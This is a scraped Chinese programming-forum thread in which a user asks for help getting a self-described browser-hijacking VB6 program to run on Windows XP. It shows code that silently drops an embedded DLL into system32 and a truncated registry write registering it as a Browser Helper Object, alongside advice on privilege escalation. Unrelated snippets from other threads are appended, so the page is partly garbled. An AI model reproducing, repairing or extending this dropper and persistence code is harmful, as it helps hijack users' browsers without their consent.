vb程序在XP系统下无法执行？
我用VB写了一个劫持浏览器的应用、开发环境（ windows2003 + VB6.0 ）但在XP下无法正常执行？
网上查资料都说需要提权，可我通过AdjustTokenPrivileges进行DEBUG提权之后，在XP下仍然无法执行，请高手帮忙解决一下！
我的ＱＱ：544588699、欢迎加入我Ｑ讨论～～～
一共只有6分了，表示欠意～～～
有可能是在 2003 中的某些 API 函数，与 XP 中的不相同吧！
看看你的程序里是不是用到了什么DLL,OCX文件，在XP下重新注册一下看看！
End_rbody_60475008//-->
该回复于2009-10-19 10:46:36被管理员删除
对我有用[0]
丢个板砖[0]
引用
举报
管理
TOP
victory2006
(西南)
等 级：
#4楼 得分：0回复于：2009-10-17 09:07:15
有一个DLL、我通过以下方法从RES中释放到system32下了
Private Sub shifang()
On Error Resume Next
Dim strSysPath As String
Dim strDesPath As String
Dim binBuffer() As Byte
strDesPath = "c:\windows\system32\" & "project.dll"
If Dir(strDesPath) <> "" Then
Exit Sub
End If
binBuffer = LoadResData(101, "CUSTOM")
Open strDesPath For Binary As #1
Put #1, , binBuffer
Close #1
End Sub
还有发现很多时候修改注册表不成功、不怎么稳定～
比如：
Dim wsh As New WshShell
wsh.RegWrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper O
相关问答：
我有厂家做的ASP的监控录像（DVR）的局域网播放的源程序与控件，想要用ASP.net做一个视频回放的程序（利用他的控件）但不知如下去做，望各位指点。
先搞清楚他们的控件是怎么用的,
然后就直接用好了.
不过,如 ......
请教一下：我用vb写了一个调用Illustrator的测试程序，代码很简单：Private Sub Command1_Click()
Dim app As New Illustrator.Application
Dim doc As Illustrator.Document
Dim thislayer As Illustrator.Layer ......
vb写的程序编译后,运行若出错,如何知道到在哪一行?
按Ctrl+F5预编译，出错时会跳转到错误行
不是那样的了,我是要求编译成EXE后运行,提示出错能否提示错在哪一行.
我编译后在我的电脑上运行没问题,但� ......
希望大家能够帮我下.感谢了..
源码传在大米盘 VB6 的源码 http://www.damipan.com/file/3wNoKLW.html
转为VB.NET源码.
小弟完全是新手 不懂的说.麻烦各位帮忙一下
我的EMAIL是:4452 ......
Private Sub Check1_Click()
If Check1.Value = 1 Then
DTP1.Enabled = True
Else
DTP1.Enabled = False
End If
End Sub
Private Sub Check2_Click()
If Check2.Value = 1 Then
DTP2.Enabled = True
Else
......
